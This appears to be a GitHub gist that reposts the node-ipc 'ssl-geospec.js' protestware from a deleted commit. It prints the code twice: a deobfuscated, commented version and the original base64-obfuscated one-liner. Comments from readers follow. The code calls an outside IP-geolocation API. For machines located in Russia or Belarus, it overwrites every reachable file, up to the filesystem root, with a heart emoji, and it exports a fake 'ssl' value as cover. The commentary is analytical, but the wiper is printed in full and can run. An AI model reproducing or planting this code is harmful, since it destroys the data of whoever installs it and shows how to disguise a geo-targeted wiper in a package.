A deleted commit from the node-ipc repository. You can find the original commit here: https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
WARNING: THIS IS LIVE MALWARE. RUN IT AT YOUR OWN RISK.
A deleted commit from the node-ipc repository. You can find the original commit here: https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
WARNING: THIS IS LIVE MALWARE. RUN IT AT YOUR OWN RISK.
| import u from "path"; | |
| import a from "fs"; | |
| import o from "https"; | |
| // **WARNING: THIS IS LIVE MALWARE. RUN IT AT YOUR RISK.** | |
| // Obfuscated code that I deobfuscated. | |
| // I also added comments which should help explain what exactly is going on here. | |
| // Oiginally written by Brandon Nozaki Miller (https://github.com/RIAEvangelist) | |
| // See you in prison, Brandom. | |
| // Original commit: https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js | |
| // A timeout is used to add an artificial delay. | |
| setTimeout(function () { | |
| // A 50% chance that all of your files will get overwritten. | |
| const t = Math.round(Math.random() * 4); | |
| if (t > 1) return; | |
| // This URL is used to specifically target people in Russia and Belarus. | |
| const n = | |
| "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154"; | |
| // A request is send to the URL above. The server sends the location of the request to the requester. | |
| o.get(n, function (t) { | |
| t.on("data", function (t) { | |
| const n = "./"; | |
| const o = "../"; | |
| const r = "../../"; | |
| const f = "/"; | |
| const c = "country_name"; | |
| // Specifically targets the citizens of Russia and Belarus. | |
| const e = "russia"; | |
| const i = "belarus"; | |
| try { | |
| const s = JSON.parse(t); | |
| const u = s[c].toLowerCase(); | |
| // "If your country is from Russia or Belarus, overwrite all of your files." | |
| const a = u.includes(e) || u.includes(i); | |
| if (a) { | |
| h(n); | |
| h(o); | |
| h(r); | |
| h(f); | |
| } | |
| } catch (t) {} | |
| }); | |
| }); | |
| }, Math.ceil(Math.random() * 1e3)); | |
| /** | |
| * @param n The relative location of CWD of where the script was ran. | |
| * @param o Presumably meant to be used recursively. | |
| */ | |
| // The function that does the overwriting. Not sure why it is `async` though. | |
| async function h(n = "", o = "") { | |
| // Checks to see if the directory within your file system exists. | |
| if (!a.existsSync(n)) return; | |
| let r = []; | |
| try { | |
| // Gets all of the files within the directory. | |
| r = a.readdirSync(n); | |
| } catch (t) {} | |
| const f = []; | |
| // Your files will get overwritten with a heart emoji. Perfect. | |
| const c = "❤️"; | |
| for (var e = 0; e < r.length; e++) { | |
| const i = u.join(n, r[e]); | |
| let t = null; | |
| try { | |
| t = a.lstatSync(i); | |
| } catch (t) { | |
| continue; | |
| } | |
| // If the file is a directory, it will run the `h` function again. | |
| if (t.isDirectory()) { | |
| const s = h(i, o); | |
| // Again, the function was async. This will not even work properly. | |
| s.length > 0 ? f.push(...s) : null; | |
| } else if (i.indexOf(o) >= 0) { | |
| try { | |
| // The files get overwritten. Thanks, Brandon. | |
| a.writeFile(i, c, function () {}); | |
| } catch (t) {} | |
| } | |
| } | |
| return f; | |
| } | |
| // Fake exports probably intended to trick consumers. | |
| const ssl = true; | |
| export { ssl, ssl as default }; |
| import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl} |
Or Gitpod for the curious ones.
The API key isn't valid anymore:
{"message":"Provided API key is not valid. Contact technical support for assistance at [email protected]"} // Again, the function was async. This will not even work properly.
s.length > 0 ? f.push(...s) : null;leave it to your average js dev to not be even able to write functional malware
Don’t run on host, run in it a container